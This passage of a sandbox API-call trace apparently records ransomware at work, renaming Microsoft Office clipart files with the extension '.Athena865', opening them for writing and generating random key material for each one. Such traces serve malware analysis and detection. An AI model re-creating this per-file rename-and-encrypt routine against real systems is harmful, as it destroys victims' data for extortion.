(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.646] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18300) returned 1 [0131.647] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.647] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.647] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.650] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.651] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.651] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.651] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00532_.WMF" | out: lpString1="NA00532_.WMF") returned="NA00532_.WMF" [0131.651] lstrlenW (lpString="NA00532_.WMF") returned 12 [0131.651] lstrlenW (lpString="Athena865") returned 9 [0131.651] lstrcmpiW (lpString1="0532_.WMF", lpString2="Athena865") returned -1 [0131.652] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.Athena865") returned 73 [0131.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.654] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1328) returned 1 [0131.654] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.655] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.655] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.661] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.661] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.662] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00538_.WMF" | out: lpString1="NA00538_.WMF") returned="NA00538_.WMF" [0131.662] lstrlenW (lpString="NA00538_.WMF") returned 12 [0131.662] lstrlenW (lpString="Athena865") returned 9 [0131.662] lstrcmpiW (lpString1="0538_.WMF", lpString2="Athena865") returned -1 [0131.662] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.Athena865") returned 73 [0131.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.663] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32020) returned 1 [0131.663] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.664] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.664] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.667] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.668] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.668] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.669] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00641_.WMF" | out: lpString1="NA00641_.WMF") returned="NA00641_.WMF" [0131.669] lstrlenW (lpString="NA00641_.WMF") returned 12 [0131.669] lstrlenW (lpString="Athena865") returned 9 [0131.669] lstrcmpiW (lpString1="0641_.WMF", lpString2="Athena865") returned -1 [0131.669] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.Athena865") returned 73 [0131.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.670] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1612) returned 1 [0131.670] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.671] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.671] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.674] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.675] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.675] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.675] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00784_.WMF" | out: lpString1="NA00784_.WMF") returned="NA00784_.WMF" [0131.675] lstrlenW (lpString="NA00784_.WMF") returned 12 [0131.675] lstrlenW (lpString="Athena865") returned 9 [0131.675] lstrcmpiW (lpString1="0784_.WMF", lpString2="Athena865") returned -1 [0131.675] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.Athena865") returned 73 [0131.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.679] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30296) returned 1 [0131.679] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.680] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.680] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.683] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.683] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.684] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.684] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00798_.WMF" | out: lpString1="NA00798_.WMF") returned="NA00798_.WMF" [0131.685] lstrlenW (lpString="NA00798_.WMF") returned 12 [0131.685] lstrlenW (lpString="Athena865") returned 9 [0131.685] lstrcmpiW (lpString1="0798_.WMF", lpString2="Athena865") returned -1 [0131.685] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.Athena865") returned 73 [0131.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.686] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9208) returned 1 [0131.686] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.687] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.687] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.691] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.692] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.692] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.693] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00806_.WMF" | out: lpString1="NA00806_.WMF") returned="NA00806_.WMF" [0131.693] lstrlenW (lpString="NA00806_.WMF") returned 12 [0131.693] lstrlenW (lpString="Athena865") returned 9 [0131.693] lstrcmpiW (lpString1="0806_.WMF", lpString2="Athena865") returned -1 [0131.693] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.Athena865") returned 73 [0131.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.694] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1928) returned 1 [0131.694] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.695] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.695] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.699] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.700] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.700] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.700] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00807_.WMF" | out: lpString1="NA00807_.WMF") returned="NA00807_.WMF" [0131.700] lstrlenW (lpString="NA00807_.WMF") returned 12 [0131.700] lstrlenW (lpString="Athena865") returned 9 [0131.700] lstrcmpiW (lpString1="0807_.WMF", lpString2="Athena865") returned -1 [0131.700] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.Athena865") returned 73 [0131.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.704] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2980) returned 1 [0131.705] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.705] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.705] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.708] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.709] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.709] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.709] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00808_.WMF" | out: lpString1="NA00808_.WMF") returned="NA00808_.WMF" [0131.709] lstrlenW (lpString="NA00808_.WMF") returned 12 [0131.709] lstrlenW (lpString="Athena865") returned 9 [0131.709] lstrcmpiW (lpString1="0808_.WMF", lpString2="Athena865") returned -1 [0131.709] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.Athena865") returned 73 [0131.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.711] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1300) returned 1 [0131.711] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.712] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.712] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.715] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.715] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.715] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.716] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00809_.WMF" | out: lpString1="NA00809_.WMF") returned="NA00809_.WMF" [0131.716] lstrlenW (lpString="NA00809_.WMF") returned 12 [0131.716] lstrlenW (lpString="Athena865") returned 9 [0131.716] lstrcmpiW (lpString1="0809_.WMF", lpString2="Athena865") returned -1 [0131.716] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.Athena865") returned 73 [0131.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.719] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1544) returned 1 [0131.719] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.720] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.720] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.725] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.726] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.726] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.726] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00810_.WMF" | out: lpString1="NA00810_.WMF") returned="NA00810_.WMF" [0131.726] lstrlenW (lpString="NA00810_.WMF") returned 12 [0131.726] lstrlenW (lpString="Athena865") returned 9 [0131.726] lstrcmpiW (lpString1="0810_.WMF", lpString2="Athena865") returned -1 [0131.726] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.Athena865") returned 73 [0131.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.728] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3416) returned 1 [0131.728] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.729] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.729] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.730] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.731] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.731] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.732] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00932_.WMF" | out: lpString1="NA00932_.WMF") returned="NA00932_.WMF" [0131.732] lstrlenW (lpString="NA00932_.WMF") returned 12 [0131.732] lstrlenW (lpString="Athena865") returned 9 [0131.732] lstrcmpiW (lpString1="0932_.WMF", lpString2="Athena865") returned -1 [0131.732] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.Athena865") returned 73 [0131.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.733] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12816) returned 1 [0131.733] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.734] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.734] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.739] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.740] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.740] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.740] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01064_.WMF" | out: lpString1="NA01064_.WMF") returned="NA01064_.WMF" [0131.740] lstrlenW (lpString="NA01064_.WMF") returned 12 [0131.740] lstrlenW (lpString="Athena865") returned 9 [0131.740] lstrcmpiW (lpString1="1064_.WMF", lpString2="Athena865") returned -1 [0131.741] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.Athena865") returned 73 [0131.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.742] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31814) returned 1 [0131.742] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.743] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.743] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.745] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, 